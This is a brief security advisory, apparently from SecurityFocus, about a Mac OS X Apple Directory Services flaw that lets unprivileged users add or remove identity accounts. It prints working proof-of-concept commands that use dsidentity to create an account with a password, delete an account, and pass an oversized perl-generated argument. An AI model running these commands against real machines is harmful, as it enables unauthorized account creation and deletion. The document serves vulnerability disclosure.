source: http://www.securityfocus.com/bid/14630/info

A vulnerability in Apple Directory Services allows unprivileged users to create or delete directory services idnetity accounts.

This issue was originally described in BID 14567 Apple Mac OS X Multiple Vulnerabilities. It is now being assigned its own BID. 

To create an account named 'Username' with the password 'pass':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a Username -s pass -v

To delete an account named 'Username':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -r Username -v

To create multiple accounts:
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a `perl -e 'print "A" x 29000'`